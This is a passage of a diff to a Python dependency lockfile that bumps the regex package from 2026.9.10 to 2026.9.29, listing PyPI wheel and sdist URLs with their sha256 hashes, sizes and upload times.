"https://files.pythonhosted.org/packages/78/2a/6de302fe3dfa94b75a414bffe5180c146967f96fc52fd0b3527a05ad7c40/regex-2026.9.10-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6888065672b341e5246f391ec16dc258a29218ac784172fd67c30d941544755b", size = 786593, upload-time = "2026-09-09T20:56:57.211Z" }, - { url = "https://files.pythonhosted.org/packages/ce/22/66bad9464b4b9122180d2fec86209d7f1bcaf4388d34f644139799f94a20/regex-2026.9.10-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:8c07021a4faa3f092869adbd1f35cdc7a592276c807aeebc3ceb8ff1a638f0b4", size = 861247, upload-time = "2026-09-09T20:56:59.194Z" }, - { url = "https://files.pythonhosted.org/packages/3a/90/a862d6fd9ee3bc0c1f3a2fecffb325097608a4c9b57f0e35030f68c878f7/regex-2026.9.10-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:58c01f7b81079cf0817ba831ff4d9eff5d28be4a3ac76c353e6f09bd63f4c386", size = 767925, upload-time = "2026-09-09T20:57:01.031Z" }, - { url = "https://files.pythonhosted.org/packages/98/4a/aea909c0699aec3c5ee6eff93e4dabc0d310cfb0a5618094e1c5228b234d/regex-2026.9.10-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:f0e2e5d23448b660d60a6ed85c46cc03b4b48bd276b8f4041d4a5fe2a4a0626b", size = 850772, upload-time = "2026-09-09T20:57:02.774Z" }, - { url = "https://files.pythonhosted.org/packages/8a/a9/a55f1257d95871b0e042b42bf52f931b3a92b4d530def5201c5b9d597e20/regex-2026.9.10-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:94d096369b7cd96d15343fef5257fe39eff9d0e8758b92a0e15e358b92cdb2fc", size = 791475, upload-time = "2026-09-09T20:57:04.216Z" }, - { url = "https://files.pythonhosted.org/packages/60/96/04bb3dabe9ac7aa64ff758dc34ae0378d60f5279ccb66788e1f837a0cac0/regex-2026.9.10-cp311-cp311-win32.whl", hash = "sha256:7f8f10015866608fe4c043cec2e4fe4c39a94bb50e45091de4cdf4004b9ae4b0", size = 266937, upload-time = "2026-09-09T20:57:05.726Z" }, - { url = "https://files.pythonhosted.org/packages/0c/7f/2d39cd798871b683409cd14ab4458f60e53db86591028a8244c3155f2e92/regex-2026.9.10-cp311-cp311-win_amd64.whl", hash = "sha256:ce7c118cb102975f974585688357a717ffbf9dddd64ab0bb1bc93eb5b367cf95", size = 278263, upload-time = "2026-09-09T20:57:07.089Z" }, - { url = "https://files.pythonhosted.org/packages/13/5f/eb3a6fd0ef50719d105e77bcc8a94b5b6f4d2873819fcf481279c454ce73/regex-2026.9.10-cp311-cp311-win_arm64.whl", hash = "sha256:1e954e246466d5a1a78f563ce8364b5d7cb19e7adb0ccdec8f9c9610083187bc", size = 277305, upload-time = "2026-09-09T20:57:08.442Z" }, - { url = "https://files.pythonhosted.org/packages/32/c8/bfbe893e90ee0148bd2860dd086f09b5d2080ca2b125f740c2e118c16982/regex-2026.9.10-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:880ac684c27176464c00c3fdc456116364f5ebc70da07aad0c2d4a7ba45e98db", size = 496609, upload-time = "2026-09-09T20:57:09.987Z" }, - { url = "https://files.pythonhosted.org/packages/8c/ac/56d5ae6efb759255c3b3db650a4be25f96a844ea3613b91e1e189a3b7294/regex-2026.9.10-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:b9d36b03dc362aa40ffaaec9d9bd75e87763529563ec008c43b0e07782f5be7a", size = 297024, upload-time = "2026-09-09T20:57:11.35Z" }, - { url = "https://files.pythonhosted.org/packages/60/4b/0f2d5f6bbb791cc10f22f0ed16c487e630dde8fa8fa0bd92a2bfe21a4b20/regex-2026.9.10-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:866de9f98df0611d7b62b3a8729d3284a64c0cc6edd90bb95a533e443a4939cb", size = 291905, upload-time = "2026-09-09T20:57:13.127Z" }, - { url = "https://files.pythonhosted.org/packages/89/51/3fb5fe0d32f4cf0bc982286722c729a8d6f522d2fa2d5d14a702d9fc87f8/regex-2026.9.10-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4c66d54042a14a503907d81861b8a5235e6d1f03d4fbc1d8767f652eaf957ac1", size = 800055, upload-time = "2026-09-09T20:57:14.68Z" }, - { url = "https://files.pythonhosted.org/packages/89/46/ee507bd2f9d4420f26a594b35c551d7194b66f5d7897f63730fae6ec05c1/regex-2026.9.10-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:032da15431c890d376f53547f0a6219f4f4cd19f3e4f11bdc321453b5bd207e4", size = 871133, upload-time = "2026-09-09T20:57:16.674Z" }, - { url = "https://files.pythonhosted.org/packages/d1/75/cbaa90689684f91b1bc017e7f8c6d9425c6bd299108db02482dc51376d8a/regex-2026.9.10-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:23ac9a28180f274d7dd7651fa131ad5b02d343b75df4b040737f0356223895dd", size = 919627, upload-time = "2026-09-09T20:57:18.402Z" }, - { url = "https://files.pythonhosted.org/packages/cb/f5/dcdf5e0d898024005cfcce631e3e934d111dfbe177ca0b7f253ae8a735a2/regex-2026.9.10-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2e67f8843f0e4b931f1fa860bf3bbe4134b714c0155cc5c7c0d7ea450230aae0", size = 804587, upload-time = "2026-09-09T20:57:19.859Z" }, - { url = "https://files.pythonhosted.org/packages/73/70/eedfe81c29bae266a06ab4250978361a9bccd474704d88d4f4ef4506dff8/regex-2026.9.10-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bb7774924f8cd69f49cba0b3c2d679a6326f777e0e67d130ad5203e4df53f0d3", size = 777320, upload-time = "2026-09-09T20:57:21.62Z" }, - { url = "https://files.pythonhosted.org/packages/ca/e5/86b207077efbcd91305700488f170b7eb1e1c54721cea74175273aa3b9a4/regex-2026.9.10-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:0c32480f3371b75068decaf9e5da72c224e953830dd71e36e06cf80e30ea39d8", size = 790572, upload-time = "2026-09-09T20:57:23.048Z" }, - { url = "https://files.pythonhosted.org/packages/b2/92/f622c3b2323f4c035b98e80221740a442127ad7993135b814f52057430db/regex-2026.9.10-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:d2d377fd1cad611b806cdd732d86b65f536c768209890cb442556548daa65a23", size = 865485, upload-time = "2026-09-09T20:57:24.658Z" }, - { url = "https://files.pythonhosted.org/packages/4a/be/34bd621d3d6ac906ad67e57ed56c40cd45f7d51b9c0328335e97a7cb8ecb/regex-2026.9.10-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:c014641157e9049b0603b8daa5343bd408d9b757b709aaa0f373cd3fab2d7944", size = 767925, upload-time = "2026-09-09T20:57:26.268Z" }, - { url = "https://files.pythonhosted.org/packages/0d/28/ddbf7cba86f2adf5038c6c16aa829636ffc6e437f81bb0cbf302899cea5e/regex-2026.9.10-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:1562aabd9d4eb09bd88a62ad97ed06800094b529ac43419e43020b9cefec79b0", size = 858800, upload-time = "2026-09-09T20:57:27.901Z" }, - { url = "https://files.pythonhosted.org/packages/d0/f1/e8d7656ff3d3bd32e881d32f540b4981c79dee61908d6b790a45966e6895/regex-2026.9.10-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:2479171edccced52ef02b899558f88ab2c235fe05b93180fdcae1670aacd89e1", size = 791648, upload-time = "2026-09-09T20:57:29.786Z" }, - { url = "https://files.pythonhosted.org/packages/fc/65/eac1a79115c8475d8ff539602eb54031564d719fdea5a599c4b0a1a26d1b/regex-2026.9.10-cp312-cp312-win32.whl", hash = "sha256:239620b0e0681669367c0e218c8eb2551d9f8fe3b9fccfc8d0003377804e8348", size = 267326, upload-time = "2026-09-09T20:57:31.782Z" }, - { url = "https://files.pythonhosted.org/packages/ad/d4/4dcd0a05d3e97ca829165df1c39717f899d1d484dac8a6032439f2cb8d6d/regex-2026.9.10-cp312-cp312-win_amd64.whl", hash = "sha256:4db7d00c4afbfbb55b8e17b1e371da11418ea9389b030acec63c1fa4c7ad4b86", size = 277933, upload-time = "2026-09-09T20:57:33.648Z" }, - { url = "https://files.pythonhosted.org/packages/55/f8/22617a80dee28f2451011eae36bc26b3d78c4994ba87b5281d60acf9b6c0/regex-2026.9.10-cp312-cp312-win_arm64.whl", hash = "sha256:c25a754bb81a2edcfc3b65eda50f017d736f818112ed43e8aafd595cb00678ae", size = 277447, upload-time = "2026-09-09T20:57:35.156Z" }, - { url = "https://files.pythonhosted.org/packages/20/90/d4452bf1ef7dbe406980e8b921a257024482203c1dafac535eae207611bc/regex-2026.9.10-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ef5a059ea1c6ee5d1c7e99a2484e628608d010921efe876c6f0e2029d2f35eca", size = 496408, upload-time = "2026-09-09T20:57:36.757Z" }, - { url = "https://files.pythonhosted.org/packages/6a/35/c763c6424a0f99d021d46dc1f9065147bb5a40c2b2cdf28d2ebdbcd96508/regex-2026.9.10-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:dce932f8e3ba936475ea3d0d8b59f7b050a9e206e994f53f8fd80299871e87da", size = 296931, upload-time = "2026-09-09T20:57:38.811Z" }, - { url = "https://files.pythonhosted.org/packages/fa/68/241f88458b17c46ed2f80147a60a03b2ada7fb815c23b6bc76c298abb0a5/regex-2026.9.10-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:d8c668af8f7bdb1d18739c27d30cd9f4b371495a883f75a002fb7a39d740fecd", size = 291741, upload-time = "2026-09-09T20:57:40.482Z" }, - { url = "https://files.pythonhosted.org/packages/90/9e/974d6de404c63e2d09525f4ddb99874c7ab8e1f781ccbe0dd3e26fa6f6e5/regex-2026.9.10-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6aebdd9a946de328b3f6f61dbf48dd064a36eb6dddf96e34ae6651d37f6e9383", size = 800088, upload-time = "2026-09-09T20:57:42.098Z" }, - { url = "https://files.pythonhosted.org/packages/9e/fd/3875b73f9e7ba3321dcaa02c19f650c05c61345328acf84599ac6f45ceed/regex-2026.9.10-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f2374c27deb189b282ec7e16106752c22ad39b056bbd8018960b1e4cc95d67a1", size = 871212, upload-time = "2026-09-09T20:57:44.03Z" }, - { url = "https://files.pythonhosted.org/packages/c5/f5/2358e791c0e171194dd6a8b97b520579098a21397fb79dbe6b7edc9e3fa7/regex-2026.9.10-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:e0dc78251154b66dc60211563fc115345da332eaa881e4e2523fb1edae3772f4", size = 919752, upload-time = "2026-09-09T20:57:45.691Z" }, - { url = "https://files.pythonhosted.org/packages/20/3b/000c79c3f9c06b7542225a5d3a7f9a85405da7224b3b9af94a491d07abea/regex-2026.9.10-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bafa41b0dd63669e5c0f8adf3d24819efeb73c847f492eb011212eb352e69041", size = 804578, upload-time = "2026-09-09T20:57:47.548Z" }, - { url = "https://files.pythonhosted.org/packages/30/6d/195eedb1de87f26639191e7487e41eb81e2ce255bc7563a64f3f5a95eb08/regex-2026.9.10-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ebb2ba68e4641a994061f70bf44ed448fba0b9b1d18c94ffb9efc1cca805b39b", size = 777345, upload-time = "2026-09-09T20:57:49.63Z" }, - { url = "https://files.pythonhosted.org/packages/79/11/11fe2b313fcd92cb75c583648f2746031b9f4da9e9ed4241204a5e8b3721/regex-2026.9.10-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:048a89ee797db10160bd2bd519286577a6b43a100279bd4b7d8456a3d69c80a0", size = 790556, upload-time = "2026-09-09T20:57:51.27Z" }, - { url = "https://files.pythonhosted.org/packages/7a/c0/07ec9b4c43b0e16d62454971a5ab3886eccb0bfa161300a02d801ab28620/regex-2026.9.10-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:79e9432995e14c749d34209413de5e621ec8e67789bf4f46dbfabea9d06a2406", size = 865572, upload-time = "2026-09-09T20:57:53.163Z" }, - { url = "https://files.pythonhosted.org/packages/19/07/43bc9a9cf9fc8e37d2ba47980dfe4a6e151d2cf3ab969e0031e2a9b21484/regex-2026.9.10-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:5847e22bbf959764d776937d791d034cc2d19b787e361c88d97e859e8dc68502", size = 767971, upload-time = "2026-09-09T20:57:54.805Z" }, - { url = "https://files.pythonhosted.org/packages/9c/49/3b9286a3a94f3c89ed4ddbe74e72bdde21c1a5eadd520d5f4ed4a61936cb/regex-2026.9.10-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:c103b3b14e011774af4fb7e4617ad4d72b9171905cd3b231a70a4efd76e477d7", size = 858835, upload-time = "2026-09-09T20:57:56.627Z" }, - { url = "https://files.pythonhosted.org/packages/4a/9e/e5d27ce9fee8e3ef95f886c7b6ecec211efa4cfc18bd73bd5cf26cca4741/regex-2026.9.10-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6b34a778c695d24e77c140e3b4c95da69282e34f2f6b02b55656aa4a0379f643", size = 791793, upload-time = "2026-09-09T20:57:58.313Z" }, - { url = "https://files.pythonhosted.org/packages/63/03/c28a6bebedc3e2d86ee27ec2de16f7ec0419dcd10e771d43dcc9c58a2e99/regex-2026.9.10-cp313-cp313-win32.whl", hash = "sha256:7abb38b8c40f3a235235a44da452c64b7b5c1d650ec6351027db0e090804f2e5", size = 267298, upload-time = "2026-09-09T20:58:00.009Z" }, - { url = "https://files.pythonhosted.org/packages/cd/fd/5c85fa6cfb8e034080bda5a72fa0a4df2b7777a35eb7e73c2799c2adda7a/regex-2026.9.10-cp313-cp313-win_amd64.whl", hash = "sha256:20e8bfb07ad79a282f8b95b56fe67f9750b1b7f775724e4ba1f23cb296115ce4", size = 277894, upload-time = "2026-09-09T20:58:01.731Z" }, - { url = "https://files.pythonhosted.org/packages/c1/28/f5a25f6f65501675977fda35d9f61abb1468c4b87c0f73e536d8b21a60b8/regex-2026.9.10-cp313-cp313-win_arm64.whl", hash = "sha256:3bdeed3318a8eb2bbadc9c56347e0ff651639e934a47e168d05a3b12929fd0e7", size = 277436, upload-time = "2026-09-09T20:58:03.422Z" }, - { url = "https://files.pythonhosted.org/packages/5c/ed/98e9b07d8bb9c765d07774f0b2c19b301b96d51f44630fea48951051c94e/regex-2026.9.10-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:fd6bd89b9fc06018d35851cab0240adb7dd84d51941b19f6574ac90cd54e3ae5", size = 496662, upload-time = "2026-09-09T20:58:05.118Z" }, - { url = "https://files.pythonhosted.org/packages/ee/a8/9dfe9be48378b47c5a8f04b0f200ea225f9ee0f8e93f010433f661a37878/regex-2026.9.10-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:ef4c0a9dfdc90581b90b1b95a8c3d1557f8ff8f5a2a53536d26314de699d1468", size = 297115, upload-time = "2026-09-09T20:58:06.822Z" }, - { url = "https://files.pythonhosted.org/packages/2b/e4/5d1f005a3825ec49842ad349061c1c26e6d42f47ccf105e6e5aa6aeed392/regex-2026.9.10-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:14caa05ce39ec70437af5aac8814c50ee6628f4a90353871c059692f448a164f", size = 291896, upload-time = "2026-09-09T20:58:08.675Z" }, - { url = "https://files.pythonhosted.org/packages/be/15/44ce83fca50c6058f42b62fa8300a8030eea7e4e5a973a2dd33db0f557fb/regex-2026.9.10-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3264132d576847ab5f88bb83e7debe67854bf165b3ea613bd467312b6099536a", size = 800534, upload-time = "2026-09-09T20:58:10.339Z" }, - { url = "https://files.pythonhosted.org/packages/af/6e/a62e070a5a033643b287489576f02ae6a9c584c337d62349e340a2b4d001/regex-2026.9.10-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:5cef9f3d14796500ea834c41dbe688f1f6b23c7024dc23e8a794d7ebaf5d71d0", size = 872038, upload-time = "2026-09-09T20:58:12.186Z" }, - { url = "https://files.pythonhosted.org/packages/f3/06/8b8e2483949b1329df10c5b615e85d332066deb426b11332b799629b9201/regex-2026.9.10-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d278ad30ec83b6b9202685b0f80b741a51ea3ca7f0595ebda96e7628b6398876", size = 918927, upload-time = "2026-09-09T20:58:13.903Z" }, - { url = "https://files.pythonhosted.org/packages/bb/64/9b56f69100d3afdbc9c4fa6e302764f9cb717fbc06a9d50558d98ca89cd2/regex-2026.9.10-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:05fb018cfe7144585fc83882405906ff84994a2d154afc2509ecc7752c51f864", size = 803694, upload-time = "2026-09-09T20:58:15.949Z" }, - { url = "https://files.pythonhosted.org/packages/07/43/d00d59a7c8fd0e070ae8457a8743597f45ad9682b100f57b9c9c405fbdfd/regex-2026.9.10-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:6fd555fc9abef50c530869690b2daca054c8811a7aff632d11f9a7b2590b2742", size = 777770, upload-time = "2026-09-09T20:58:17.628Z" }, - { url = "https://files.pythonhosted.org/packages/46/6b/a11d0446484efbc9eb67abec133f254c6d66a1568b8f3fb36d39a73a1129/regex-2026.9.10-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:8d5c4518235a2ec1611e57af85fa488d529c1106aacff12adadcedf8687012cd", size = 791234, upload-time = "2026-09-09T20:58:19.476Z" }, - { url = "https://files.pythonhosted.org/packages/12/09/bcd24e78b373fd4f98090caa43eade439223f6703b909be79b9efd9ab0ab/regex-2026.9.10-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:175cf49ce7a994c88b8f15e3cb17cdb66a48ebb2d36de736b8205033db950f89", size = 866259, upload-time = "2026-09-09T20:58:21.683Z" }, - { url = "https://files.pythonhosted.org/packages/8b/c6/c57ba5e94222a813260af4c17ced92d40cdb44737eb6b50979688310b6a3/regex-2026.9.10-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:b71649169a9fcf30b395ee01047fa7ad6654a4c900ca75b23c04dedcce6a1f8c", size = 768219, upload-time = "2026-09-09T20:58:23.842Z" }, - { url = "https://files.pythonhosted.org/packages/7b/a2/3820037587d00901ace96c5864335c2cd1b899d5263ea0dd2261359e0bee/regex-2026.9.10-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:8ba1f78bd4fef2d8f84b894ec28ac3481afe6cc07aaa253ad4717ef7b3fe6bcb", size = 858582, upload-time = "2026-09-09T20:58:25.607Z" }, - { url = "https://files.pythonhosted.org/packages/47/f0/f9a838ca6219ae4821de0175e4548db73ef56de5ec08d032fb427732fa07/regex-2026.9.10-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:217e98ba5fc8908ed8ffd4ebac04753a0c831067cbfb495b9821b94cc61eaa76", size = 791405, upload-time = "2026-09-09T20:58:27.406Z" }, - { url = "https://files.pythonhosted.org/packages/f7/bf/67d71cc4e13ae2e0022d21243ca069e0868701a99eb29cdecd13d356e694/regex-2026.9.10-cp314-cp314-win32.whl", hash = "sha256:b298cdc33c5cc6969ff07f0fba19cc73e0fd8576373c50935feadaca2f6b4405", size = 272702, upload-time = "2026-09-09T20:58:29.116Z" }, - { url = "https://files.pythonhosted.org/packages/c1/38/40a93e72703a741235115ed1b1e5f6b869917677b7643005034ce1611d70/regex-2026.9.10-cp314-cp314-win_amd64.whl", hash = "sha256:c32818b28bcd153b25b63038348a9fe9b9fbcddb60df43f204c3ab55eeb57f77", size = 281170, upload-time = "2026-09-09T20:58:30.899Z" }, - { url = "https://files.pythonhosted.org/packages/bf/ac/e95387f00617c16bb41b786d900bacd17eab88afa81b4f263df532b3a731/regex-2026.9.10-cp314-cp314-win_arm64.whl", hash = "sha256:75242f44a3e283106077be4ab717bc535e4701c9d54ad69e195945c22f137a1d", size = 281511, upload-time = "2026-09-09T20:58:32.594Z" }, - { url = "https://files.pythonhosted.org/packages/39/e5/a4b12262edc488a8a7a95b672db317dd8aa9bf2fab98297f9c91bb11ad4d/regex-2026.9.10-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:2dd9286093c71afc8f55ef035c5b9d2776641fd72c6535f1febc92d0b0be9666", size = 501128, upload-time = "2026-09-09T20:58:34.306Z" }, - { url = "https://files.pythonhosted.org/packages/55/c8/9ca31c0fa5197ded8614c8ae0e105bcff2d979025ffa3c75580baa334e2f/regex-2026.9.10-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:71879292c9c7ac67b1680345b16daba1be937cb027362cfa04e68f65db2dcfdd", size = 299428, upload-time = "2026-09-09T20:58:36.296Z" }, - { url = "https://files.pythonhosted.org/packages/2b/d1/ee7662561735f90475443c3ca1977e5cecaeaa8f29620dec75580aebc839/regex-2026.9.10-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:5ccd139b2061132e7b265cfb4b4721baeb9f8928b81415304abf1ec7e3181c26", size = 294494, upload-time = "2026-09-09T20:58:37.964Z" }, - { url = "https://files.pythonhosted.org/packages/d9/b1/333168e45ed6cfe71f6d17e21e5f54725f44d171f84edd12469a2f739227/regex-2026.9.10-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e7327795089ddb44912dce1434e1d7244be2e9fb48fcc2d6782936af7a3062db", size = 814925, upload-time = "2026-09-09T20:58:40.438Z" }, - { url = "https://files.pythonhosted.org/packages/bc/a5/df1b38536d0a3b24a030eb4130ce98b403cc925220ff530f5313a7c436eb/regex-2026.9.10-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ff4d7b14ea19e50c8d9d6d83f45bd9b45cbb624c07ac1fa54db0a019049abed7", size = 873323, upload-time = "2026-09-09T20:58:42.349Z" }, - { url = "https://files.pythonhosted.org/packages/93/ea/aa71fe62dd63a8336bbdec1ff002a6c53b40ccfca95961c18ee4f09bf03c/regex-2026.9.10-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4f0407474ffac8e5e89d93ca41d60891e29f0ab8423eb66ff292d850a86a0843", size = 923080, upload-time = "2026-09-09T20:58:44.488Z" }, - { url = "https://files.pythonhosted.org/packages/86/38/49f8d6fd34fc1a9c75b5b96364ebdde702a8144e5ed63d2213c58d454c27/regex-2026.9.10-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1ad10a135fa0b4e4a462a61d07c6654d7518cfdb5cb8da08f9ff7d61384af1fe", size = 821284, upload-time = "2026-09-09T20:58:46.56Z" }, - { url = "https://files.pythonhosted.org/packages/32/45/91a977c96d4be13d1ade8208c260c26841c836d4c91745e1828a30589070/regex-2026.9.10-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9fbd2e5d8002dc49a6129fb321ec51c57a025e752ed525ddce0ba9223c4350a7", size = 789256, upload-time = "2026-09-09T20:58:48.473Z" }, - { url = "https://files.pythonhosted.org/packages/2d/79/4d110bf01bf9651bf9b3f88a6d9fa7e643e0586921a18432b25a478edbfa/regex-2026.9.10-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:4a761ea45f2ad74c575ef5850ea514cef97302a552d3c7c9d1a1a870d4661d6c", size = 803722, upload-time = "2026-09-09T20:58:50.286Z" }, - { url = "https://files.pythonhosted.org/packages/e7/67/b587a0d3bbac2635309ed9c40c197120c39e1ec0afb8813cbed1338fdd75/regex-2026.9.10-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:75aa39d3f4f1650eea84e46b0d8cefe77dd5478c10e3d0aaf0b0f00493475a7a", size = 870085, upload-time = "2026-09-09T20:58:52.224Z" }, - { url = "https://files.pythonhosted.org/packages/07/fc/0827bca20ddba1d70fa5111a2a64e6b6b38bfdab43fc435022b54172a111/regex-2026.9.10-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:f5c629df03adec31ee505dda3c8988f106c9390e4cbd343600036eb8b3d6724f", size = 776970, upload-time = "2026-09-09T20:58:54.478Z" }, - { url = "https://files.pythonhosted.org/packages/9b/03/ab9d08d30568ca868791bfb99551db60b947f05e2e65dcd1261e87083c21/regex-2026.9.10-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:3a66e40a1a20de96a2fee00ed67e11012b62d85b277688258677fd19997addb7", size = 863611, upload-time = "2026-09-09T20:58:56.432Z" }, - { url = "https://files.pythonhosted.org/packages/5e/6d/8063ae86b543ae878a7d6e7ba21ebf0af4af06161230e0012e2d652320c6/regex-2026.9.10-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:968c1e33edd9a104d1bf24c8d476c72de7e3839ae7f894b37e9e4f4739fdeeca", size = 804064, upload-time = "2026-09-09T20:58:59.066Z" }, - { url = "https://files.pythonhosted.org/packages/c5/63/b19305c4b8d3d7867699f7d83c43550273d91a2f31793452d87edb1d259f/regex-2026.9.10-cp314-cp314t-win32.whl", hash = "sha256:fbc4e2f3cb7ce8436154e6483079e7d35eeb321a952fa936e180300630d8b873", size = 274607, upload-time = "2026-09-09T20:59:00.942Z" }, - { url = "https://files.pythonhosted.org/packages/32/b8/1695072a512a49060294024e23b945eeb87675b02c06e53a92a1b42b0bfd/regex-2026.9.10-cp314-cp314t-win_amd64.whl", hash = "sha256:c37fa93bf18bf4f90b01c0fa9f11ea567ee4b7dd8bf96e63663e5edc37aa38cf", size = 283944, upload-time = "2026-09-09T20:59:02.876Z" }, - { url = "https://files.pythonhosted.org/packages/a9/9f/65bac17f39991a67e22f8b3c849fdc02a56147c97029b5351494341959b4/regex-2026.9.10-cp314-cp314t-win_arm64.whl", hash = "sha256:ffc2da104e43db716ce30cef9f28049a1faa6aca385dd8771b033268d0730b07", size = 283780, upload-time = "2026-09-09T20:59:05.009Z" }, +version = "2026.9.29" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/fc/f2/af1da9d3ceed77bfcdce40427d49ba0be94e4fe84245e3bfef68c10e75b6/regex-2026.9.29.tar.gz", hash = "sha256:8b5fcc4771732191b2b7d1dd68d8f0353f47f8d90b6150f6dce58bf1112442cb", size = 419199, upload-time = "2026-09-29T00:49:58.298Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f6/37/404442e7296554792e2de4c0c8f8b95ee491a3c227d6ff90d4cebf2dbde3/regex-2026.9.29-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:9916fda742cd4eede63b286f58c06718324265d727ce0856eb1aac86d0d150d6", size = 495402, upload-time = "2026-09-29T00:45:50.322Z" }, + { url = "https://files.pythonhosted.org/packages/72/6d/116db2946888bd60db8e2033739471be6d80aa47c833afd952c9ed40654c/regex-2026.9.29-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:8873c4a11c50b9989168881aeb3f08859f469d809941866aa1feefd8be5431f6", size = 295139, upload-time = "2026-09-29T00:45:51.826Z" }, + { url = "https://files.pythonhosted.org/packages/9d/1d/aefd12fb5cd62b748aa6ed28725b375c71102853fcbf15fb6481f806a2ba/regex-2026.9.29-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:1d9fe8091b2e89d470df68a9331111ed008ae8aae6bf1e8e1fba4086a495c84e", size = 292130, upload-time = "2026-09-29T00:45:53.017Z" }, + { url = "https://files.pythonhosted.org/packages/7c/98/41fe60ae6ccf3e166fe7bc73495aa15e9a1a7fe3a1f9f0f95a3d64a2df0f/regex-2026.9.29-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fb00027a09a8f9f08028b40dce4c933cf73e4833240ed356583fdc9cfa721566", size = 793080, upload-time = "2026-09-29T00:45:54.331Z" }, + { url = "https://files.pythonhosted.org/packages/45/0d/944b13e8286ecba61a3baeca28b375550821a279800bdb18fac41ade6637/regex-2026.9.29-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:14e953ff3607c92d7675bf79c4d4509ef6782aa8c08509f179f9b3d6d0679e86", size = 865241, upload-time = "2026-09-29T00:45:56.065Z" }, + { url = "https://files.pythonhosted.org/packages/2a/b4/e1c32fdee0462f1373c52a73325cafbde653fac0b0cc1e9badac74154f4a/regex-2026.9.29-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0476e5bcbe6e1ba3d1c4cc7bbb1c3ba78e3b979b5c8a88d0a6a8cdd4992b8c84", size = 905496, upload-time = "2026-09-29T00:45:57.491Z" }, + { url = 